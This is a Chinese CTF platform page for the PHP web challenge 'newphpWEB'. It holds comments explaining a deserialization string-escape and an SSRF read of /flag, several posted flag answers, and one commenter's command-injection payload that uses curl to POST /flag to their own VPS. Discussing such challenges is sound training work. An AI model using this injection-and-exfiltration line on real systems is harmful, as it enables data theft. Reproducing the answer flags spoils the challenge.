newphpWEB 未解决

分数: 35 金币: 3
题目作者: xluo
一  血: lastsward
一血奖励: 3金币
解  决: 1415
提  示:
描  述:
flag{}
评论
网恋秀牛子被录屏导致自卑 9月前

你们是怎么想到file前面加空格能绕过的,这样怎么能绕

回复 0

对对对对对对对对 10月前

学到很多

回复 0

givemeflag 1年前

flag{78dc400b390a50ed0009062015da1c8f}

回复 0

LLTVLL 2年前

不会,借鉴了writeup

回复 0

loulegedadong 2年前

这个讲的很清楚https://blog.csdn.net/m0_52061428/article/details/136293623

回复 1

老渡真的不懂 3年前

我真的人傻了,为什么'\0\0\0'是六个字符而不是三个?难道没有转义吗?为什么.cgi文件那里要加个空格?有大佬能解释下吗?

回复 0
buggggg 2年前

因为\和0是分开的两个字符串,没有转义;加一个空格是因为这里发送请求使用的curl,加完空格就能同时请求这两个url

回复 0

XRain 3年前

file:///flag 可以,我用了另一种方法:?name=123||curl -X POST -F x=@/flag http://x.x.x.x:2333/,在自己的 vps 用 nc 监听,就能接收到发送过来的请求报文,不知道这样也可以,看起来可以执行命令,但好像很多命令都执行失败了。

回复 1

mykali 3年前

flag{fb59b8a9a71cc0b34ca26905db6c520b}

回复 0

wxy1343 3年前

flag{0af3dab81edb60a93d4a173cf3070b25}

回复 0

jack12138 3年前

后边的字符逃逸和ssrf我都知道,但是为什么一定要逃逸呢,直接输序列化字符串为啥不行,没有弄清楚,跟read跟write有关是么?read和write那几句话是啥意思,有没有大佬帮忙解答一下呢

回复 0
chaojiikun 1年前

你在自己写的文件里可以直接给username赋值evil的对象,但是对象无法打印,你没办法给username传evil对象,你传的只是字符串

回复 0

ch1n 3年前

第三:要反序列化evil类只能通过字符串逃逸,将序列化好的evil类字符串变成user类的一个新属性(PHP可以反序列化类中不存在的属性)。

回复 2

ch1n 3年前

第二:反序列化接收的是user类的username和password属性序列化好的字符串,而读hint.php的操作是在evil类中进行的,直接传入序列化好的evil类字符串的话相当于给user类的属性赋值,跟evil类无关,所以不能直接输入evil类序列化好的字符串。

回复 3

ch1n 3年前

第一:write和read的作用是将传入的"\0\0\0"替换为"chr(0)*chr(0)",由6字符位变为3位,会造成字符串逃逸的隐患。

回复 2

WriteUp

image
M1kael

6 金币

评分(7)

解题动态

Dxmax 攻破了该题 5天前
CTF-大王 攻破了该题 5天前
这个昵称已存在 攻破了该题 6天前
加州故事 攻破了该题 8天前
香克斯呀 攻破了该题 8天前
mahiru 攻破了该题 8天前
星宇Sec 攻破了该题 8天前
WDa1223b456 攻破了该题 11天前
镜花水月 攻破了该题 11天前
mystery 攻破了该题 12天前
lc123456qwerty 攻破了该题 12天前
乔qiao 攻破了该题 14天前
Jazzyl 攻破了该题 18天前
凯哥 攻破了该题 21天前
willow 攻破了该题 26天前
布蕾脆脆奶芙 攻破了该题 27天前
xlogsrc 攻破了该题 29天前
耶无忧 攻破了该题 1月前
nick_123 攻破了该题 1月前
i8vkmmju 攻破了该题 1月前
问题反馈